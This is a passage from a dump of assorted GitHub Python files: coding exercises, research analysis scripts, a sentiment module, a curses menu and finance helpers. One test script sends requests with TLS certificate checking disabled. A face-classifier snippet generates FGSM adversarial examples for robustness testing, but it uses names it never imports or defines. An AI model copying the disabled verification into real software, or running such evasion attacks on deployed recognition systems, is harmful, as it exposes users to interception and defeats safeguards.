on_delete=models.CASCADE, verbose_name='Товар', related_name='product_otziv')\n    description = models.TextField(max_length=400, null=False, blank=False, verbose_name='Отзыв')\n    ocenka = models.IntegerField(choices=OCENKA_CHOICES, default=OCENKA_CHOICES[0][0],\n                                verbose_name='Оценка')\n\n    def __str__(self):\n        return str(self.user)\n# Create your models here.\n","repo_name":"papagans/exam8","sub_path":"source/webapp/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1513,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"34697584268","text":"import requests, json, uuid\nfrom login import login\n#uuid32 = str(uuid.uuid1().hex)\n#uid = uuid32[:16]\n#print(uuid32, uid)\n#uuid32 = str(uuid.uuid1().hex)\n#gid = uuid32[:16]\n#text = \"hey\"\ndatas = login()\nuid = datas[\"uid\"]\n#gid = \"g88dfba6a2d9811e\"\n#gid = \"g2269baca2d9c11e\"\ngid = input(\"gid:\")\ntext = input(\"text:\")\ndatas = {\"sender\":uid, \"to\":gid, \"message\":{\"type\":\"text\", \"content\":text}}\nr = requests.post(verify=False, url=\"https://163.44.249.252/send_message\", json=datas)\nprint(r, r.text)","repo_name":"koutamanto/DevChatAPI","sub_path":"test/send_text_messge.py","file_name":"send_text_messge.py","file_ext":"py","file_size_in_byte":496,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"9265998856","text":"\"\"\"\nExpects an incoming CSV file with local ID, PMID, or DOI headers and wil post to\nAMR in batches of 50.\n\nE.g.\n\nUT\n01234\n02394\n039039\n\nPMID\n2093030\n2405903\n95930303\n\nRun as:\n\n$ python batch_lookup.py sample_file.csv outputfile.csv\n\n\"\"\"\n\nimport csv\nimport sys\nimport xml.etree.ElementTree as ET\n\nimport client\n\n\n# Template for fetching ids and timesCited from AMR\nid_request_template = u\"\"\"<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\n<request xmlns=\"http://www.isinet.com/xrpc41\" src=\"app.id=InternalVIVODemo\">\n  <fn name=\"LinksAMR.retrieve\">\n    <list>\n      <!-- authentication -->\n      <map>\n        <val name=\"username\">{user}</val>\n        <val name=\"password\">{password}</val>\n      </map>\n      <!-- what to to return -->\n       <map>\n         <list name=\"WOS\">\n           <val>sourceURL</val>\n           <val>ut</val>\n           <val>doi</val>\n           <val>pmid</val>\n           <val>timesCited</val>\n         </list>\n       </map>\n       <!-- LOOKUP DATA -->\n       {items}\n    </list>\n  </fn>\n</request>\n\"\"\"\n\n\ndef prep_request(items, local_id=\"id\"):\n    \"\"\"\n    Process the incoming items into an AMR request.\n\n    <map name=\"cite_1\">\n        <val name=\"{id_type}\">{value}</val>\n    </map>\n    \"\"\"\n    map_items = ET.Element(\"map\")\n    for idx, pub in enumerate(items):\n        if pub is None:\n            continue\n        local_id_value = pub.get(local_id) or pub.get(local_id.upper())\n        if local_id_value is None:\n            local_id_value = str(idx)\n        this_item = ET.Element(\"map\", name=local_id_value)\n        for k, v in pub.items():\n            if v is None:\n                continue\n            de = ET.Element(\"val\", name=k.lower())\n            de.text = v.strip()\n            this_item.append(de)\n        map_items.append(this_item)\n\n    request_items = ET.tostring(map_items)\n    xml = id_request_template.format(user=client.USER, password=client.PASSWORD, items=request_items)\n    return xml\n\n\ndef main():\n    try:\n        infile = sys.argv[1]\n        outfile = sys.argv[2]\n    except IndexError:\n        raise Exception(\"An input and outpfile file is required.\")\n    found = []\n    to_check = []\n    with open(infile) as inf:\n        for row in csv.DictReader(inf):\n            d = {}\n            for k, v in row.items():\n                d[k.lower()] = v.strip()\n            to_check.append(d)\n\n    lookup_groups = client.grouper(to_check, client.BATCH_SIZE)\n    for idx, batch in enumerate(lookup_groups):\n        xml = prep_request(batch)\n        print>> sys.stderr, \"Processing batch\", idx\n        # Post the batch\n        rsp = client.get(xml)\n        found.append(rsp)\n\n    # Write the results to a csv file.\n    with open(outfile, 'wb') as of:\n        writer = csv.writer(of)\n        writer.writerow(('batch', 'id', 'ut', 'doi', 'pmid', 'times cited', 'source'))\n        batch = 0\n        for grp in found:\n            for k, item in grp.items():\n                ut = item.get('ut')\n                if ut is not None:\n                    ut = \"WOS:\" + ut\n                writer.writerow([batch, k, ut, item.get('doi', \"\"), item.get('pmid', \"\"), item.get('timesCited', '0'),\n                                 item.get('sourceURL', 'N/A')])\n            batch = batch + 1\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"SchlossLab/Schloss_PrePrints_mBio_2017","sub_path":"code/wos-amr/lookup_ids.py","file_name":"lookup_ids.py","file_ext":"py","file_size_in_byte":3249,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"42677189507","text":"'''\nCreated on Nov 28, 2021\n\n@author: AsifMahmud\n'''\n\ndef searchInsert(self, nums, target):\n        low = 0\n        high = len(nums)\n        mid = int((high+low)/2)\n        result = None\n        while(low < high):\n            if nums[mid] == target:\n                result = mid\n                break\n            elif target > nums[mid]:\n                low = mid+1\n            else:\n                high = mid\n            mid = int((high+low)/2)\n        if(result == None):\n            result = low\n        \n        return result","repo_name":"asiffmahmudd/leetcode-problems","sub_path":"leetcode_problems/problems/35_Search_Insert_Position.py","file_name":"35_Search_Insert_Position.py","file_ext":"py","file_size_in_byte":530,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"33020205346","text":"#GPA calculator\nprint(\"hi, welcome to GPA calculator\")\nprint(\"whenever you want to exit type exit\")\nsum=0\nn=0\nwhile True:\n    n=n+1 \n    a=input(\"please enter your number:\")\n    if a==\"exit\":\n        print(\"thanks, the end\")\n        break\n    score=float(a)\n    sum=score+sum\n    print(sum)\n    print(n)\naverage=sum/n\nprint(\"your average is:\",average)\n\n\n","repo_name":"ameneahani/assignment","sub_path":"Assignment2/t2_3_GPA.py","file_name":"t2_3_GPA.py","file_ext":"py","file_size_in_byte":354,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"37408356448","text":"import sys\nfrom itertools import combinations\n\ninput = sys.stdin.readline\n\nn, m = map(int, input().split())\ncard = list(map(int, input().split()))\nmin = 300000\n\nfor arr in combinations(card, 3):\n    sum = arr[0] + arr[1] + arr[2]\n    if sum > m:\n        continue\n    elif (m-sum) < min:\n        min = m-sum\n        result = sum\n\nprint(result)\n","repo_name":"pipi-shortstocking/CodingTest","sub_path":"백준/2798/2차.py","file_name":"2차.py","file_ext":"py","file_size_in_byte":343,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"20792516966","text":"import argparse\nimport warnings\n\nimport matplotlib.pyplot as plt\n\nimport numpy as np\n\nimport pandas as pd\n\nimport seaborn as sns\n\nfrom utils import SPEECH_ACT, CHILD, PATH_NEW_ENGLAND_UTTERANCES, AGES\nfrom process_contingencies import get_contingency_data\nfrom utils import COLORS_PLOT_CATEGORICAL, age_bin, SOURCE_SNOW, SOURCE_CRF, TARGET_PRODUCTION, TARGET_COMPREHENSION\n\nMIN_NUM_UTTERANCES = 0\nMIN_CHILDREN_REQUIRED = 0\nTHRESHOLD_ACQUIRED = 2\nTHRESHOLD_FRACTION_ACQUIRED = 0.5\n\nTHRESHOLD_SPEECH_ACT_OBSERVED_PRODUCTION = 0\n\nMIN_AGE = 6\nMAX_AGE = 12 * 18\n\nADD_EXTRA_DATAPOINTS = False\n\nCOMPREHENSION_DATA_POINTS_2_OCCURRENCES = {\n    14: [\n        \"ST\",\n        \"TO\",\n        \"SA\",\n        \"AC\",\n        \"RP\",\n        \"CR\",\n        \"MK\",\n        \"YQ\",\n        \"RQ\",\n        \"CM\",\n        \"OO\",\n        \"QN\",\n        \"TX\",\n        \"PR\",\n        \"RR\",\n        \"EA\",\n        \"XA\",\n        \"CS\",\n        \"YA\",\n        \"SS\",\n        \"DC\",\n        \"PF\",\n        \"AP\",\n        \"CL\",\n        \"AB\",\n        \"TQ\",\n        \"SI\",\n        \"EI\",\n        \"EQ\",\n        \"YY\",\n        \"CT\",\n        \"PM\",\n        \"AA\",\n        \"DW\",\n        \"RT\",\n        \"ET\",\n        \"GR\",\n        \"DS\",\n        \"PA\",\n        \"FP\",\n        \"AD\",\n        \"WD\",\n        \"RD\",\n        \"CN\",\n        \"GI\",\n        \"ED\",\n        \"PD\",\n    ],\n    20: [\n        \"QN\",\n        \"RP\",\n        \"PD\",\n        \"PM\",\n        \"SS\",\n        \"MK\",\n        \"OO\",\n        \"AP\",\n        \"ST\",\n        \"AC\",\n        \"AA\",\n        \"RQ\",\n        \"RT\",\n        \"ET\",\n        \"SI\",\n        \"PR\",\n        \"PF\",\n        \"CL\",\n        \"AD\",\n        \"YQ\",\n        \"AB\",\n        \"RD\",\n        \"YA\",\n        \"EA\",\n        \"DC\",\n        \"GI\",\n        \"WD\",\n        \"SA\",\n        \"YY\",\n        \"GR\",\n        \"EQ\",\n        \"RR\",\n        \"TO\",\n        \"CS\",\n        \"AL\",\n        \"YD\",\n        \"CT\",\n        \"EI\",\n        \"DS\",\n        \"CR\",\n        \"DW\",\n        \"AN\",\n        \"CM\",\n        \"FP\",\n        \"TQ\",\n        \"TX\",\n        \"XA\",\n        \"CN\",\n        \"AQ\",\n        \"PA\",\n        \"EC\",\n    ],\n    32: [\n        \"QN\",\n        \"YQ\",\n        \"MK\",\n        \"AP\",\n        \"SA\",\n        \"DW\",\n        \"AC\",\n        \"RR\",\n        \"FP\",\n        \"ST\",\n        \"RP\",\n        \"RQ\",\n        \"AD\",\n        \"PR\",\n        \"PM\",\n        \"XA\",\n        \"SI\",\n        \"GI\",\n        \"PA\",\n        \"OO\",\n        \"TQ\",\n        \"YA\",\n        \"CS\",\n        \"AQ\",\n        \"TX\",\n        \"CT\",\n        \"CM\",\n        \"CL\",\n        \"RT\",\n        \"GR\",\n        \"PF\",\n        \"EI\",\n        \"AA\",\n        \"SS\",\n        \"EQ\",\n        \"DC\",\n        \"YY\",\n        \"RD\",\n        \"AB\",\n        \"AN\",\n        \"TO\",\n        \"EC\",\n        \"ET\",\n        \"EX\",\n        \"WD\",\n        \"SC\",\n        \"PD\",\n        \"EA\",\n    ],\n}\nCOMPREHENSION_SPEECH_ACTS_ENOUGH_DATA_2_OCCURRENCES = [\n    \"ST\",\n    \"TO\",\n    \"SA\",\n    \"AC\",\n    \"RP\",\n    \"CR\",\n    \"MK\",\n    \"YQ\",\n    \"RQ\",\n    \"CM\",\n    \"QN\",\n    \"TX\",\n    \"PR\",\n    \"RR\",\n    \"EA\",\n    \"XA\",\n    \"CS\",\n    \"YA\",\n    \"SS\",\n    \"DC\",\n    \"PF\",\n    \"AP\",\n    \"CL\",\n    \"AB\",\n    \"TQ\",\n    \"SI\",\n    \"EI\",\n    \"EQ\",\n    \"CT\",\n    \"PM\",\n    \"AA\",\n    \"DW\",\n    \"RT\",\n    \"ET\",\n    \"GR\",\n    \"DS\",\n    \"PA\",\n    \"FP\",\n    \"AD\",\n    \"WD\",\n    \"RD\",\n    \"CN\",\n    \"GI\",\n    \"PD\",\n    \"AN\",\n    \"AQ\",\n    \"EC\",\n]\n\nCOMPREHENSION_DATA_POINTS = COMPREHENSION_DATA_POINTS_2_OCCURRENCES\nCOMPREHENSION_SPEECH_ACTS = COMPREHENSION_SPEECH_ACTS_ENOUGH_DATA_2_OCCURRENCES\n\n\ndef get_fraction_contingent_responses(\n    data, ages, observed_speech_acts, add_extra_datapoints=True, column_name_speech_act=SPEECH_ACT,\n):\n    \"\"\"Calculate \"understanding\" of speech acts by measuring the amount of contingent responses\"\"\"\n    fraction_contingent_responses = []\n\n    for age_months in ages:\n        contingency_data = get_contingency_data(data, age_months, column_name_speech_act)\n\n        for speech_act in observed_speech_acts:\n            if add_extra_datapoints:\n                # Add start: at 6 months children don't produce any speech act\n                fraction_contingent_responses.append(\n                    {\n                        \"speech_act\": speech_act,\n                        \"month\": MIN_AGE,\n                        \"fraction\": 0.0,\n                    }\n                )\n                # Add end: at 18 years children know all speech acts\n                fraction_contingent_responses.append(\n                    {\n                        \"speech_act\": speech_act,\n                        \"month\": MAX_AGE,\n                        \"fraction\": 1.0,\n                    }\n                )\n\n            if speech_act in COMPREHENSION_DATA_POINTS[age_months]:\n                fraction = contingency_data[\n                    (contingency_data[\"source\"] == speech_act)\n                    & (contingency_data[\"contingency\"] == 1)\n                ][\"fraction\"].sum()\n\n                fraction_contingent_responses.append(\n                    {\n                        \"speech_act\": speech_act,\n                        \"month\": age_months,\n                        \"fraction\": fraction,\n                    }\n                )\n\n    return pd.DataFrame(fraction_contingent_responses)\n\n\ndef get_fraction_producing_speech_acts(\n    data_children,\n    ages,\n    observed_speech_acts,\n    column_name_speech_act=SPEECH_ACT,\n    add_extra_datapoints=True,\n):\n    fraction_acquired_speech_act = []\n\n    print(\"Processing speech acts...\")\n    for speech_act in observed_speech_acts:\n\n        if add_extra_datapoints:\n            # Add start: at 6 months children don't produce any speech act\n            fraction_acquired_speech_act.append(\n                {\n                    \"speech_act\": speech_act,\n                    \"month\": MIN_AGE,\n                    \"fraction\": 0.0,\n                }\n            )\n            # Add end: at 18 years children know all speech acts\n            fraction_acquired_speech_act.append(\n                {\n                    \"speech_act\": speech_act,\n                    \"month\": MAX_AGE,\n                    \"fraction\": 1.0,\n                }\n            )\n\n        prev_fraction = 0.0\n        for month in ages:\n            speech_acts_children_month = data_children[\n                data_children.age == month\n            ]\n            transcript_ids = speech_acts_children_month.transcript_file.unique()\n            n_children = 0\n            n_acquired = 0\n            for transcript_id in transcript_ids:\n                speech_acts_child = speech_acts_children_month[\n                    speech_acts_children_month.transcript_file == transcript_id\n                ]\n                if len(speech_acts_child) > MIN_NUM_UTTERANCES:\n                    n_children += 1\n                    target_speech_acts_child = speech_acts_child[\n                        speech_acts_child[column_name_speech_act] == speech_act\n                    ]\n                    if len(target_speech_acts_child) >= THRESHOLD_ACQUIRED:\n                        n_acquired += 1\n\n            if n_children >= MIN_CHILDREN_REQUIRED:\n                fraction = n_acquired / n_children\n            else:\n                # not enough data, use data of previous month\n                warnings.warn(\n                    f\"speech act {speech_act}: month {month}: Not enough data (only {n_children} children). Using value of previous month. Increase age bin size?\"\n                )\n                fraction = prev_fraction\n\n            fraction_acquired_speech_act.append(\n                {\n                    \"speech_act\": speech_act,\n                    \"month\": month,\n                    \"fraction\": fraction,\n                }\n            )\n            prev_fraction = fraction\n\n    return pd.DataFrame(fraction_acquired_speech_act)\n\n\ndef calc_ages_of_acquisition(\n    target,\n    data,\n    observed_speech_acts,\n    ages,\n    column_name_speech_act=SPEECH_ACT,\n    add_extra_datapoints=True,\n    max_age=MAX_AGE,\n    threshold_speech_act_observed_production=THRESHOLD_SPEECH_ACT_OBSERVED_PRODUCTION,\n):\n\n    if target == TARGET_PRODUCTION:\n        data_children = data[data.speaker_code == CHILD]\n\n        observed_speech_acts = [\n            s\n            for s in observed_speech_acts\n            if s in data_children[column_name_speech_act].unique()\n            and data_children[column_name_speech_act].value_counts()[s]\n            > threshold_speech_act_observed_production\n        ]\n        # observed_speech_acts = [\"ST\",\"MK\",\"YQ\",\"SA\",\"RR\",\"FP\"]\n\n        fraction_producing_speech_act = get_fraction_producing_speech_acts(\n            data_children,\n            ages,\n            observed_speech_acts,\n            column_name_speech_act,\n            add_extra_datapoints,\n        )\n\n        fraction_data = fraction_producing_speech_act\n\n    elif target == TARGET_COMPREHENSION:\n        fraction_contingent_responses = get_fraction_contingent_responses(\n            data, ages, observed_speech_acts, add_extra_datapoints, column_name_speech_act\n        )\n\n        fraction_data = fraction_contingent_responses\n\n    sns.set_palette(COLORS_PLOT_CATEGORICAL)\n\n    g = sns.FacetGrid(data=fraction_data, hue=\"speech_act\", height=6, aspect=1.3)\n    g.set(ylim=(0, 1), xlim=(min(ages) - 4, max_age))\n    g.map(sns.regplot, \"month\", \"fraction\", truncate=False, logistic=True, ci=None)\n\n    h, l = g.axes[0][0].get_legend_handles_labels()\n    g.fig.legend(h, l, loc=\"upper center\", ncol=10)\n    plt.xlabel(\"age (months)\")\n    if target == TARGET_PRODUCTION:\n        plt.ylabel(\"fraction of children producing the target speech act\")\n    elif target == TARGET_COMPREHENSION:\n        plt.ylabel(\"fraction of contingent responses\")\n\n    # Read estimated ages of acquisition from the logistic regression plot data\n    age_of_acquisition = {}\n    for i, speech_act in enumerate(observed_speech_acts):\n        fractions = g.ax.get_lines()[i].get_ydata()\n        ages = g.ax.get_lines()[i].get_xdata()\n\n        # If the logistic regression has failed: use data from points\n        if np.isnan(fractions).all():\n            warnings.warn(\n                f\"Couldn't calculate logistic regression for {speech_act}. Setting AoA to max_age.\"\n            )\n            age_of_acquisition[speech_act] = max_age\n\n        # Take data from logistic regression curve\n        else:\n            if np.where(fractions >= THRESHOLD_FRACTION_ACQUIRED)[0].size > 0:\n                age_of_acquisition[speech_act] = ages[\n                    np.min(np.where(fractions >= THRESHOLD_FRACTION_ACQUIRED))\n                ]\n            else:\n                age_of_acquisition[speech_act] = max_age\n        print(\n            f\"Age of acquisition of {speech_act}: {age_of_acquisition[speech_act]:.1f}\"\n        )\n        \n    # Reset color palette to default for upcoming plots\n    sns.set_palette(\"tab10\")\n\n    return age_of_acquisition\n\n\nif __name__ == \"__main__\":\n    argparser = argparse.ArgumentParser()\n    argparser.add_argument(\n        \"--target\",\n        type=str,\n        default=TARGET_PRODUCTION,\n        choices=[TARGET_PRODUCTION, TARGET_COMPREHENSION],\n    )\n    argparser.add_argument(\n        \"--column-name-speech-act\",\n        type=str,\n        default=SPEECH_ACT,\n        choices=[SPEECH_ACT, \"y_pred\"],\n    )\n\n    args = argparser.parse_args()\n\n    print(\"Loading data...\")\n\n    data = pd.read_pickle(PATH_NEW_ENGLAND_UTTERANCES)\n\n    # map ages to corresponding bins\n    data[\"age\"] = data[\"age\"].apply(age_bin)\n\n    observed_speech_acts = [label for label in data[SPEECH_ACT].unique()]\n\n    # Filter out unintelligible acts\n    observed_speech_acts = [s for s in observed_speech_acts if s not in [\"YY\", \"OO\"]]\n\n    if args.target == TARGET_COMPREHENSION:\n        observed_speech_acts = COMPREHENSION_SPEECH_ACTS\n\n    ages_of_acquisition = calc_ages_of_acquisition(\n        args.target,\n        data,\n        observed_speech_acts,\n        AGES,\n        data_source=args.column_name_speech_act,\n        add_extra_datapoints=ADD_EXTRA_DATAPOINTS,\n    )\n\n    path = f\"results/age_of_acquisition_{args.target}_{args.column_name_speech_act}.csv\"\n    ages_of_acquisition = pd.DataFrame.from_records([ages_of_acquisition]).T\n    ages_of_acquisition.index.rename('speech_act', inplace=True)\n    ages_of_acquisition.rename(columns={0: \"age_of_acquisition\"}, inplace=True)\n    ages_of_acquisition.to_csv(path)\n\n    plt.axhline(y=0.5, linestyle=\"--\")\n    plt.xlim(10, 60)\n    plt.tight_layout()\n    plt.subplots_adjust(top=0.9, bottom=0.09)\n    plt.show()\n","repo_name":"cocodev-team/childes-speech-acts","sub_path":"age_of_acquisition.py","file_name":"age_of_acquisition.py","file_ext":"py","file_size_in_byte":12392,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"3"}
+{"seq_id":"2203619052","text":"##\n\n# Review Analysis 2.0 - Google\n# 'sentiment_analysis'\n# Gide Inc. 2019\n\n# Hutto, C.J. & Gilbert, E.E. (2014). VADER: A Parsimonious Rule-based Model for Sentiment Analysis of\n# Social Media Text.\n# Eighth International Conference on Weblogs and Social Media (ICWSM-14). Ann Arbor, MI, June 2014.\n\n##\n\nimport ssl\nimport textblob\nfrom textblob import TextBlob\n\n# textblob.download_corpora\n\nfrom pyspark.sql.functions import split, udf\nfrom pyspark.sql.types import StringType, IntegerType\n\nfrom loggingInfo import init_logging\nlogger = init_logging()\n\n\ndef sentiment_detection(sentence):\n\n    \"\"\"\n    :purpose detects sentiment (negative or positive mood) for each sentence\n    :param sentence:\n    :return:\n    \"\"\"\n\n    try:\n        logger.info(\"Analyzing Sentence Sentiment\")\n\n        if sentence != None:\n            sentiment = TextBlob(sentence)\n            ss = float(sentiment.sentiment.polarity)\n            return ss\n        else:\n            return 0.0\n\n    except AttributeError as error:\n        logger.error(\"Issue Analyzing Sentence Sentiment\")\n\n\ndef sentiment_analysis(data, col=\"Review Text\"):\n\n    \"\"\"\n    :purpose: construct sentiment analysis information in database\n    :param data:\n    :param col:\n    :return: new_data\n    \"\"\"\n\n    try:\n        logger.info('Sentiment Analysis Updating')\n        udfSentAnal= udf(sentiment_detection, StringType())\n        new_data = data.withColumn(\"Sentiment Score\", udfSentAnal(col))\n        logger.info(\"Sentiment Analysis Finished\")\n\n    except ValueError as error:\n        logger.error('Sentiment Analysis Error Detected:' + str(error))\n        new_data = data.withColumn(\"Sentiment Score\", \"ERROR\")\n\n    return new_data\n\n\ndef sentiment_kw_analysis(data, col=\"KWSentence\"):\n\n    \"\"\"\n    :purpose: construct sentiment with the keywords and sentences containing keywords in database\n    :param data:\n    :param col:\n    :return:\n    \"\"\"\n\n    try:\n        logger.info('KW Sentiment Analysis Updating')\n        udfSentAnal= udf(sentiment_detection, StringType())\n        new_data = data.withColumn(\"KW Sentiment Score\", udfSentAnal(col))\n        logger.info(\"KW Sentiment Analysis Finished\")\n\n    except ValueError as error:\n        logger.error('KW Sentiment Analysis Error Detected:' + str(error))\n        new_data = data.withColumn(\"KW Sentiment Score\", \"ERROR\")\n\n    return new_data\n","repo_name":"Guide-Analytics/google_review_analysis","sub_path":"sentiment_analysis.py","file_name":"sentiment_analysis.py","file_ext":"py","file_size_in_byte":2346,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"4620293621","text":"table = [[3, 1, 2], [1, 2, 3], [2, 3, 1]]\n\nwith open(\"input.txt\") as file:\n    score = 0\n    for line in file.read().splitlines():\n        opponent = ord(line[0]) - 65\n        me = ord(line[2]) - 23 - 65\n        score += me * 3\n        score += table[opponent][me]\n    print(score)\n        ","repo_name":"Maximilian-Walz/Advent-of-Code-2022","sub_path":"day02/day02_2.py","file_name":"day02_2.py","file_ext":"py","file_size_in_byte":290,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"37615357333","text":"num1 = 1000\nnum2 = 3000\nnumberList = []\nfor i in range(num1, num2 + 1):\n    numberList.append(i)\n    for j in str(i):\n        if int(j)%2 != 0:\n            numberList.remove(i)\n            break\nprint(numberList)\n","repo_name":"Harshitha-Somashekar/case_study","sub_path":"FindEvenDigitNumbers.py","file_name":"FindEvenDigitNumbers.py","file_ext":"py","file_size_in_byte":213,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"74921900881","text":"import numpy as np\nfrom art.estimators.classification import KerasClassifier\n\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Conv2D, MaxPooling2D, Flatten\n\n\nmodel = Sequential()\n\nmodel.add(Conv2D(32,(3,3), input_shape=(62,47,1), activation='relu'))\nmodel.add(MaxPooling2D(2,2))\nmodel.add(Conv2D(32,(3,3), activation='relu'))\nmodel.add(MaxPooling2D(2,2))\nmodel.add(Flatten())\nmodel.add(Dense(units=512, activation='relu'))\nmodel.add(Dense(units=128, activation='relu'))\nmodel.add(Dense(units=5, activation='softmax'))\n\nmodel.summary()\nmodel.compile(loss='categorical_crossentropy', optimizer='adam', metrics=['accuracy'])\n\n# y in [0, 1, 2, 3, 4]\n\n# Train the classifier\nclassifier = KerasClassifier(model=model, clip_values=(0, 1), use_logits=False)\n\nclassifier.fit(x_train, y_train, nb_epochs=10, batch_size=128)\n\n# Evaluate the classifier on the test set\npredictions = classifier.predict(x_test)\naccuracy = np.sum(np.argmax(predictions, axis=1) == np.argmax(y_test, axis=1)) / len(y_test)\nprint(\"Accuracy on benign test examples: {}%\".format(accuracy * 100))\n\n# Generate adversarial test examples\nattack = FastGradientMethod(estimator=classifier, eps=0.2)\nx_test_adv = attack.generate(x=x_test)\n\n# Evaluate the classifier on the adversarial test examples\npredictions = classifier.predict(x_test_adv)\naccuracy = np.sum(np.argmax(predictions, axis=1) == np.argmax(y_test, axis=1)) / len(y_test)\nprint(\"Accuracy on adversarial test examples: {}%\".format(accuracy * 100))\n","repo_name":"roman02s/Countering-face-hiding-algorithms","sub_path":"src/adversarial attack/keras_vgg.py","file_name":"keras_vgg.py","file_ext":"py","file_size_in_byte":1490,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"18324832181","text":"import sys\nimport math\nimport bisect\nfrom heapq import heapify, heappop, heappush\nfrom collections import deque, defaultdict, Counter\nfrom functools import lru_cache\nfrom itertools import accumulate, combinations, permutations\n\nsys.setrecursionlimit(1000000)\nMOD = 10 ** 9 + 7\nMOD99 = 998244353\n\ninput = lambda: sys.stdin.readline().strip()\nNI = lambda: int(input())\nNMI = lambda: map(int, input().split())\nNLI = lambda: list(NMI())\nSI = lambda: input()\nSMI = lambda: input().split()\nSLI = lambda: list(SMI())\n\n\ndef main():\n    N, S = NMI()\n    AB = [NLI() for _ in range(N)]\n    dp = [[0]*(S+1) for _ in range(N+1)]\n    dp[0][0] = 1\n    for i in range(N):\n        a, b = AB[i]\n        for s in range(S):\n            if s+a <= S:\n                dp[i+1][s+a] |= dp[i][s]\n            if s+b <= S:\n                dp[i+1][s+b] |= dp[i][s]\n\n    # print(*dp, sep=\"\\n\")\n    if dp[-1][S]:\n        print(\"Yes\")\n        ans = []\n        now = N\n        s = S\n        while now > 0:\n            now -= 1\n            a, b = AB[now]\n            if dp[now][s-a]:\n                s -= a\n                ans.append(\"H\")\n            else:\n                s -= b\n                ans.append(\"T\")\n        print(\"\".join(ans[::-1]))\n\n    else:\n        print(\"No\")\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"Mao-beta/AtCoder","sub_path":"ABC/ABC271/ABC271D.py","file_name":"ABC271D.py","file_ext":"py","file_size_in_byte":1284,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"40737793657","text":"#<head>--------------------------------------------------------------------------</head>-#\n#@descripiton:RobinJr's personnal TLI interface ofr GreatWork\n#@author:RobinJr.\n#@firstedit:2018/4/18\n#@lastedit :2018/4/18\n\n\n\n\n#<body>--------------------------------------------------------------------------</body>-#\nimport curses                           #Terminal handling for character-cell displays\nimport sys,os\n\n# establish a class for handling the tli interface\nclass MYCursesClass():\n    def __init__(self):\n        self.startcurses()\n\n    def startcurses(self):\n        # get the window object called stdscr\n        self.stdscr          = curses.initscr()\n        curses.noecho()                 #turn off automatic echoing of keys to the screen\n        curses.cbreak()                 #react to keys instantly\n        self.stdscr.keypad(True)\n\n    def terminatecurses(self):\n        curses.nocbreak()\n        self.stdscr.keypad(False)\n        curses.echo()\n        curses.endwin()\n\n\n    def draw_menu(self):\n        inputkey = 0\n        self.cursor_x = 0\n        self.cursor_y = 0\n\n        self.stdscr.clear()\n        self.stdscr.refresh()\n\n        curses.start_color()\n        curses.init_pair(1, curses.COLOR_CYAN, curses.COLOR_BLACK)\n        curses.init_pair(2, curses.COLOR_RED, curses.COLOR_BLACK)\n        curses.init_pair(3, curses.COLOR_BLACK, curses.COLOR_WHITE)\n\n        while ( inputkey != ord('q')):\n            self.stdscr.clear()\n            inputkey = self.stdscr.getch()\n\n        self.terminatecurses()\n\n\n#<main>--------------------------------------------------------------------------</main>-#\nif __name__ == \"__main__\":\n    t = os.system('clear')\n    mycurseclass = MYCursesClass()\n    mycurseclass.draw_menu()\n","repo_name":"RobinJr555/FakeTigerUbuntu","sub_path":"mycurses.py","file_name":"mycurses.py","file_ext":"py","file_size_in_byte":1733,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"9807592782","text":"import numpy as np\nimport pandas as pd\nfrom scipy import stats\n\n\ndef drop_outliers(series_ret):\n    \"\"\"\n    수익률 30.5%를 넘는 날짜를 0으로 처리\n    :param series_ret: \n    :return: \n    \"\"\"\n    out_value = np.abs(series_ret).max() # 수익률의 절댓값 중 최댓값\n    mask = np.argwhere(np.abs(series_ret) == out_value) # 최댓값의 위치(인덱스 넘버)\n    while float(out_value) > 0.305: # 30.5%가 넘는 수익률이 발견되지 않을 때 까지\n        series_ret[mask] = 0 # 이상치 값을 0으로 바꿔주고\n\n        out_value = np.abs(series_ret).max() # out_value 값을 갱신\n        mask = np.argwhere(np.abs(series_ret) == out_value) # 갱신된 값의 위치\n    return series_ret\n\ndef cal_prob_of_loss(L, T, mu_safe, mu_risky, vol_risky, weight_risky):\n    \"\"\"probability of loss for a portfolio comprising both a risky asset and a safe asset\n    :L: annualized percentage loss in discrete units, Float64\n    :T: the number of years in the investment horizon, int/Float64\n    :mu_safe: safe asset return, Float64\n    :mu_risky: risky asset return, Float64\n    :vol_risky: annualized standard deviation of risky asset return\n    :weight_risky: risky asset weight, Float64\n    :return: probability of loss, Float64\n    \"\"\"\n    numerator = np.log(1+L)*T - (mu_risky*T*weight_risky + mu_safe*T*(1-weight_risky))\n    denominator = vol_risky*weight_risky*np.sqrt(T)\n    return stats.norm.cdf(numerator/denominator, 0, 1)\n\ndef cal_weight_risky(L, T, Z, mu_safe, mu_risky, vol_risky):\n    \"\"\"\n    :L: Annualized percentage loss in discrete units, Float64\n    :T: The number of years in the investment horizon, int/Float64\n    :mu_risky: risky asset return, Float64\n    :vol_risky: Annualized standard deviation of risky asset return\n    :Z: Standardized normal variable corresponding to the probability we are targeting to determine the risky asset weight\n    :mu_safe: Safe asset return, Float64\n    :return: Risky asset weight\n    \"\"\"\n    numerator = np.log(1+L)*T - mu_safe*T\n    denominator = 